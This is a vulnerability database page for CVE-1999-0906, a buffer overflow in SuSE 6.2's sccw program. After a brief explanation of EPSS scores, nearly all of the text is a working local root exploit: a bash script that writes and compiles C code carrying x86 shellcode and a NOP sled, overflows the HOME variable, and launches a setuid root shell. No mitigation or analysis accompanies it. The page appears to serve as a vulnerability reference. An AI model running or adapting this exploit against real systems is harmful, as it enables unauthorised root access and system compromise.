CVE-1999-0906 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/656/info A buffer overflow vulnerability in sscw's handling of the HOME environment variable allows local users to gain root privileges. #!/bin/bash # # Linux x86 exploit for /usr/bin/sccw on SuSE 6.2 # # -Brock Tellier [email protected] echo "Building /tmp/sccwx.c..." cat > /tmp/sccwx.c << FOEFOE /* * sccw local root Linux x86 tested on SuSE 6.2 * gcc -o sccwx sccwx.c * must compile/run a setuid(geteuid()); system("/bin/bash"); for a rootshell * * -Brock Tellier [email protected] */ #include <stdlib.h> #include <stdio.h> char exec[]= /* Generic Linux x86 running our /tmp program */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/sc"; #define LEN 400 #define NOP 0x90 unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } void main(int argc, char *argv[]) { int offset=0; int i; int buflen = LEN; long int addr; char buf[LEN]; if(argc > 3) { fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]); exit(0); } else if (argc == 2){ offset=atoi(argv[1]); } else if (argc == 3) { offset=atoi(argv[1]); buflen=atoi(argv[2]); } else { offset=2100; buflen=300; } addr=get_sp(); fprintf(stderr, "SuSE 6.2 sccw local root\n"); fprintf(stderr, "Brock Tellier [email protected]\n"); fprintf(stderr, "Using addr: 0x%x\n", addr+offset); memset(buf,NOP,buflen); memcpy(buf+(buflen/2),exec,strlen(exec)); for(i=((buflen/2) + strlen(exec))+1;i<buflen-4;i+=4) *(int *)&buf[i]=addr+offset; setenv("HOME", buf, 1); execl("/usr/bin/sccw", "sccw", NULL); } FOEFOE echo "Building /tmp/sccwuid.c..." cat > /tmp/sccwuid.c <<EOFFOE void main() { setuid(geteuid()); system("/bin/bash"); } EOFFOE echo "Compiling /tmp/sccwx..." gcc -o /tmp/sccwx /tmp/sccwx.c echo "Compiling /tmp/sc..." gcc -o /tmp/sc /tmp/sccwuid.c echo "Launching /tmp/sccwx..." /tmp/sccwx echo "If it didn't work, try /tmp/sccwx <offset> <bufsiz>"